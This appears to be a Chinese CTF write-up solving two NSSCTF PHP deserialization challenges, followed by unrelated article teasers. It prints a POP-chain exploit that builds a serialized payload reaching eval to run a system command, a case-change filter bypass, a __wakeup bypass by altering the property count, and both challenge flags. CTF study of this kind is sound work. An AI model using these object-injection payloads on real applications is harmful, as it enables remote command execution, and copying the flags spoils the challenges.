NSSCTF-Web题目18(反序列化)

目录

[NISACTF 2022]babyserialize

1、题目

2、知识点

3、思路

[SWPUCTF 2022 新生赛]ez_ez_unserialize

4、题目

5、知识点

6、思路


[NISACTF 2022]babyserialize

1、题目

2、知识点

反序列化、绕过过滤、命令执行

3、思路
<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>


题目出现了代码,我们老规矩,逐个逐个进行分析

1、NISA类

__wakeup():在进行反序列化前会执行

__invoke():类对象被当成函数时执行

这个类里面有一个if条件,但条件满足时,会执行hint()

重点是在__invoke(),里面有eval函数,这可以给我们执行系统命令,也是获取flag的入口

2、TianXiWei类

这一个类只有一个__wakeup()析构函数,但是有一个不存在的函数nisa()

3、Ilovetxw类

__call:在对象中调用一个不可访问方法时会执行

__toString:类被当成字符串时被调用

这一个类中__toString返回的是一个函数,__call有fun这个不存在的变量

4、four类

__set:对不存在或者不可访问的变量进行赋值就会自动调用

这一类中有一个if条件,满足后将$a变成小写的字符串

通过上面的这些类后,我们下面来捋一下,要怎么得到flag

首先,要得到flag,就要执行系统函数,也就是要执行__invoke中的eval(txw4ever),要调用__invoke需要通过Ilovetxw类的 __toString,因为这个方法结果是返回一个函数,要调用__toString

就要通过four类的__set,且要满足if条件,要调用__set需要通过Ilovetxw类的__call,要调用__call,需要TianXiWei类的__wakeup,因为里面有不存在的函数nias()

payload如下:

<?php
class NISA{
	//定义变量
    public $fun="show_me_flag";
	public $txw4ever;
}
class TianXiWei{
	//定义变量
	public $ext;
    public $x;
}
class Ilovetxw{
	//定义变量
	public $huang;
    public $su;
}
class four{
	//定义变量
	public $a="TXW4EVER";
    private $fun="sixsixsix"; //满足类中的if条件
}

$a=new NISA;
$a->txw4ever='system("ls /");';  //将系统命令赋给变量txw4ever
$b=new Ilovetxw; 
$b->su=$a;  //将NISA类当成函数执行,调用__invoke
$c=new four;
$c->a=$b; //将Ilovetxw类当成字符串,调用__to_string
$b=new Ilovetxw;
$b->huang=$c; //将Ilovetxw类传给Ilovetxw类的huang变量,调用__set
$d=new TianXiWei;
$d->ext=$b;  //Ilovetxw类传给TianXiWei的ext变量,调用__call
echo urlencode(serialize($d)); //因为存在private属性的变量,可能存在一些不可见的字符,所以需要进行url编码
?>

PHP 在线工具 | 菜鸟工具 (jyshare.com)

代码最后给了我们提示

这里执行了hint()函数,我们需要进行绕过,更改NISA类中的fun参数

这里要绕过的原因:因为我们是要NISA类中__invoke里面的结果,也就是执行TianXiWei类的_wakeup,而不是NISA类中__wakeup

这里的checkcheck()进行了正则比较,我们只能盲猜

利用大小写绕过

命令正常执行,得到文件

cat /fllllllaaag

完整的payload:

<?php
class NISA{
	//定义变量
    public $fun="show_me_flag";
	public $txw4ever;
}
class TianXiWei{
	//定义变量
	public $ext;
    public $x;
}
class Ilovetxw{
	//定义变量
	public $huang;
    public $su;
}
class four{
	//定义变量
	public $a="TXW4EVER";
    private $fun="sixsixsix"; //满足类中的if条件
}

$a=new NISA;
$a->txw4ever='System("cat /fllllllaaag");';  //将系统命令赋给变量txw4ever
$a->fun="aaa";
$b=new Ilovetxw; 
$b->su=$a;  //将NISA类当成函数执行,调用__invoke
$c=new four;
$c->a=$b; //将Ilovetxw类当成字符串,调用__to_string
$b=new Ilovetxw;
$b->huang=$c; //将Ilovetxw类传给Ilovetxw类的huang变量,调用__set
$d=new TianXiWei;
$d->ext=$b;  //Ilovetxw类传给TianXiWei的ext变量,调用__call
echo urlencode(serialize($d)); //因为存在private属性的变量,可能存在一些不可见的字符,所以需要进行url编码
?>

执行结果:

O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BN%3Bs%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3Bs%3A3%3A%22aaa%22%3Bs%3A8%3A%22txw4ever%22%3Bs%3A27%3A%22System%28%22cat+%2Ffllllllaaag%22%29%3B%22%3B%7D%7Ds%3A9%3A%22%00four%00fun%22%3Bs%3A9%3A%22sixsixsix%22%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3BN%3B%7D

得到flag:NSSCTF{17e0b531-db47-4e14-abac-9ae0a2e8e3ec}


[SWPUCTF 2022 新生赛]ez_ez_unserialize

4、题目

5、知识点

反序列化,__wakeup()绕过

6、思路

出现代码,我们进行代码审计

X类有三个析构函数

_construct:在类被实例化时调用

__wakeup:在类被反序列化之前调用

__destruct:在对象销毁后执行,这里面有highlight_file函数,并提示我们flag在fllllllag.php里面

所以这个是读取flag的入口

highlight_file()

$_REQUEST可以读取GET方式或者POST方式的数据

难点:我们需要将x=fllllllag.php,然后序列化,但是__wakeup在反序列化前被调用,那我们的赋值就失效了,就要考虑怎么绕过这个函数

解决,序列化后更改序列对象的数量进行绕过

payload如下:

class X{
    public $x;
}

$a=new X;
$a->x="fllllllag.php";
echo serialize($a); 
?>

O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";} 

改成:O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";} 

  • O代表对象,这里是序列化的一个对象,要序列化数组的就用A
  • 1表示的是类名的长度
  • "X"表示对是类名
  • 1表示类里面有1个属性也称为变量 (更改这里绕过__wakeup)
  • s表示字符串的长度
  • 比如s:1:"x" 这里表示的是 x属性名(变量名)为1个字符串长度 字符串 属性长度 属性值

得到flag:NSSCTF{4812e4ce-01a5-4e02-9975-3d8bc10cdc40}


这篇文章就先写到这里了,哪里不懂的或者哪里不足的欢迎指出

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/755775.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

正版软件 | R-Studio Corporate:企业级数据恢复的终极解决方案

数据是企业的生命线&#xff0c;而数据丢失可能随时威胁到企业的正常运营。R-Studio Corporate 是一款专为企业环境设计的多功能数据恢复软件&#xff0c;确保您在面临数据危机时&#xff0c;能够迅速、高效地恢复宝贵数据。 跨平台操作&#xff0c;灵活恢复 R-Studio Corporat…

雷池软硬件部署模式

硬件模式&#xff1a; 硬件反向代理 VRRP 硬件透明代理 雷池硬件设备 硬件透明墙 硬件流量镜像 流量镜像具备旁路阻断攻击的能力 软件模式 模式对比

shopify入门教程-应用开发(二)

4.内网穿透 为什么要用这个&#xff0c;就是把电脑上的开发内容通过内网穿透显示到你的开发店铺上。这里的内网穿透我用了ngrok,花生壳&#xff0c;但都不如shopify官方推荐的cloudflare好用。所以这里我也推荐cloudflare。 运用内网穿透2个步骤 把app运行起来 ​​​​​​​…

正点原子rk3588编译sdk

1、编译SDK 1.1 安装 RK3588 Linux SDK .repo/repo/repo sync -l -j101.2 SDK 工程目录介绍 app&#xff1a;存放上层应用 app&#xff0c;包括 Qt 应用程序&#xff0c;以及其它的 C/C应用程序。 buildroot&#xff1a;基于 buildroot 开发的根文件系统。 debian&#xff1…

【shell脚本实战案例】数据磁盘初始化

文章目录 一、案例应用场景二、案例需求三、案例算法四、代码实现五、实现验证 &#x1f308;你好呀&#xff01;我是 山顶风景独好 &#x1f388;欢迎踏入我的博客世界&#xff0c;能与您在此邂逅&#xff0c;真是缘分使然&#xff01;&#x1f60a; &#x1f338;愿您在此停留…

已解决javax.xml.bind.MarshalException:在RMI中,参数或返回值无法被编组的正确解决方法,亲测有效!!!

已解决javax.xml.bind.MarshalException&#xff1a;在RMI中&#xff0c;参数或返回值无法被编组的正确解决方法&#xff0c;亲测有效&#xff01;&#xff01;&#xff01; 目录 问题分析 出现问题的场景 服务器端代码 客户端代码 报错原因 解决思路 解决方法 1. 实现…

IBCS 虚拟专线用哪些特点!

当今数字化时代&#xff0c;高效、稳定、安全的网络连接对于企业和个人来说至关重要。IBCS 虚拟专线作为一种创新的网络解决方案&#xff0c;凭借其众多显著的优势&#xff0c;正逐渐成为众多用户的首选。 IBCS 虚拟专线最突出的优势之一在于其卓越的网络性能。它通过优化网络路…

DC-DC产品设计PCB注意事项

DC-DC的电路比LDO会复杂很多&#xff0c;噪声也更大&#xff0c;布局和layout要求更高&#xff0c;layout的好坏直接影响DC-DC的性能&#xff0c;所以了解DC-DC的layout至关重要。 一、Bad Layout EMI&#xff0c;DC-DC的SW管脚上面会有较高的dv/dt&#xff0c; 比较高的dv/d…

Python+Pytest+Allure+Yaml+Jenkins+GitLab接口自动化测试框架详解

PythonPytestAllureYaml接口自动化测试框架详解 编撰人&#xff1a;CesareCheung 更新时间&#xff1a;2024.06.20 一、技术栈 PythonPytestAllureYamlJenkinsGitLab 版本要求&#xff1a;Python3.7.0,Pytest7.4.4,Allure2.18.1,PyYaml6.0 二、环境配置 安装python3.7&…

kafka 消费者 API 使用总结

前言 应用程序使用KafkaConsumer向Kafka订阅主题&#xff0c;并从订阅的主题中接收消息。不同于从其他消息系统读取数据&#xff0c;从Kafka读取数据涉及一些独特的概念和想法。如果不先理解这些概念&#xff0c;则难以理解如何使用消费者API。本文将先解释这些重要的概念&…

你还能顶几天?

A总&#xff1a;你还能顶几天&#xff1f; 汪汪队&#xff1a;顶到奉命撤退的那一天 A总&#xff1a;你在这守散钱点几十年了&#xff0c;从来没跟我提过任何的要求&#xff0c;难道你不困难吗&#xff1f; 汪汪队&#xff1a;有困难&#xff0c;但是我提了有什么用呢&#…

【密码学】面向小白的古典密码基础入门笔记

目录 Mindmap 前言 破译方法 三类古典密码 替换密码 分类 单表替换密码 凯撒密码 简单替换密码 仿射密码 普莱费尔密码 培根密码 猪圈密码 摩斯密码 多表替换密码 维吉尼亚密码 移位密码 滚筒密码 栅栏密码 Mindmap 前言 1.所有古典密码都已不安全 2.密…

晋级国赛!卓翼飞思技术引领,助力辽宁赛区机器人及人工智能大赛圆满收官

近日&#xff0c;第二十六届中国机器人及人工智能大赛—辽宁赛区选拔赛在大连海事大学圆满收官。本次大赛吸引来自辽宁工业大学、大连理工大学等知名高校的10余支队伍参与&#xff0c;充分展现各高校在机器人及人工智能领域的深厚实力和创新精神。其中&#xff0c;由卓翼飞思实…

用ChatGPT快速打造一个专业WordPress网站

作为一个使用HostEase多年的老用户&#xff0c;我想和大家分享一下如何利用HostEase和ChatGPT快速构建一个WordPress网站的经验。这不仅仅是一个简单的操作步骤&#xff0c;更是一次从零到有的实战经历。希望我的分享能给你们带来一些实用的帮助。 获取主机服务和域名 首先&a…

解锁音乐潮流:使用TikTok API获取平台音乐信息

一、引言 TikTok&#xff0c;作为全球领先的短视频社交平台&#xff0c;不仅为用户提供了展示自我、分享生活的舞台&#xff0c;还为用户带来了丰富多样的音乐体验。在TikTok上&#xff0c;音乐与视频内容的结合&#xff0c;为用户带来了全新的视听盛宴。对于音乐制作人、品牌…

阿里云开启ssl证书过程记录 NGINX

&#x1f91e;作者简介&#xff1a;大家好&#xff0c;我是思无邪&#xff0c;2024 毕业生&#xff0c;某厂 Go 开发工程师.。 &#x1f402;我的网站&#xff1a;https://www.yishanicode.top/ &#xff0c;持续更新&#xff0c;希望对你有帮助。 &#x1f41e;如果文章或网站…

Unity | Shader基础知识(第十五集:透明效果)

目录 一、前言 二、素材准备 三、准备基础代码 四、准备基础场景 五、SurfaceOutput结构体 六、透明度 七、渲染顺序 八、选错的后果 九、Tags之渲染顺序 十、Cull&#xff08;正面和反面渲染&#xff09; 十一、代码汇总 十二、作者的碎碎念 一、前言 因为shader…

Python 面试【高难】

欢迎莅临我的博客 &#x1f49d;&#x1f49d;&#x1f49d;&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:「stormsha的主页」…

sheng的学习笔记-AI-高斯混合模型(GMM)

AI目录&#xff1a;sheng的学习笔记-AI目录-CSDN博客 需要学习前置知识&#xff1a; 聚类&#xff0c;可参考 sheng的学习笔记-AI-聚类(Clustering)-CSDN博客 EM算法&#xff0c;可参考 sheng的学习笔记-AI-EM算法-CSDN博客 贝叶斯&#xff0c;可参考 sheng的学习笔记-AI-…

SpringBoot-SpringBoot中文文档

简介 Spring Boot是由Pivotal团队提供的一套开源框架&#xff0c;可以简化spring应用的创建及部署。它提供了丰富的Spring模块化支持&#xff0c;可以帮助开发者更轻松快捷地构建出企业级应用。Spring Boot通过自动配置功能&#xff0c;降低了复杂性&#xff0c;同时支持基于J…